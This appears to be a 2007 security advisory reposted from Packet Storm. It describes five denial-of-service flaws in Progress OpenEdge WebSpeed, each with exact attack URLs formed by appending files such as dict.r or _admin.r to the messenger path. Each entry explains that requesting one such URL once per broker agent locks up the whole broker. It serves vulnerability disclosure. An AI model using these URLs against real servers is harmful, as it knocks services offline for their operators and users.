Home / vulnerabilities ow-dos.txt
Posted on 12 May 2007
Source : packetstormsecurity.org Link
Denial of Service attack against OpenEdge WebSpeed possible through dict.r. 11-5-2007
author: Eelko Neven
discovered: 9-5-2007
Because of poor security in dict.r it is possible to put all agents in busy mode.
First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1
just add the following to the url:
/dict.r
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/dict.r
When you run the above url you put the agent into an infinite loop (Do While). If for instance your server runs 5 Broker Agents you just have to run above url 5 times and then all agents will be put in busy mode. From that moment on it's not possible to access that broker anymore.
Tested with Progress 10b in production mode.
……………………………………………………………………………………………………
Denial of Service attack against OpenEdge WebSpeed possible through _help.r. 11-5-2007
author: Eelko Neven
discovered: 9-5-2007
Because of poor security in _help.r it is possible to put all agents in busy mode.
First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1
just add the following to the url:
/_help.r
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/_help.r
When you run the above url you put the agent into an infinite loop (Do While). If for instance your server runs 5 Broker Agents you just have to run above url 5 times and then all agents will be put in busy mode. From that moment on it's not possible to access that broker anymore.
Tested with Progress 10b in production mode.
……………………………………………………………………………………………………
Denial of Service attack against OpenEdge WebSpeed possible through _dict.r. 11-5-2007
author: Eelko Neven
discovered: 9-5-2007
Because of poor security in _dict.r it is possible to put all agents in busy mode.
First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1
just add the following to the url:
/_dict.r
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/_dict.r
When you run the above url you put the agent into an infinite loop (Do While). If for instance your server runs 5 Broker Agents you just have to run above url 5 times and then all agents will be put in busy mode. From that moment on it's not possible to access that broker anymore.
Tested with Progress 10b in production mode.
……………………………………………………………………………………………………
Denial of Service attack against OpenEdge WebSpeed possible through _comp.r. 11-5-2007
author: Eelko Neven
discovered: 9-5-2007
Because of poor security in _comp.r it is possible to put all agents in busy mode.
First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1
just add the following to the url:
/_comp.r
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/_comp.r
When you run the above url you put the agent into an infinite loop (Do While). If for instance your server runs 5 Broker Agents you just have to run above url 5 times and then all agents will be put in busy mode. From that moment on it's not possible to access that broker anymore.
Tested with Progress 10b in production mode.
……………………………………………………………………………………………………
Denial of Service attack against OpenEdge WebSpeed possible through _admin.r. 11-5-2007
author: Eelko Neven
discovered: 9-5-2007
Because of poor security in _admin.r it is possible to put all agents in busy mode.
First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1
just add the following to the url:
/_admin.r
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/_admin.r
When you run the above url you put the agent into an infinite loop (Do While). If for instance your server runs 5 Broker Agents you just have to run above url 5 times and then all agents will be put in busy mode. From that moment on it's not possible to access that broker anymore.
Tested with Progress 10b in production mode.
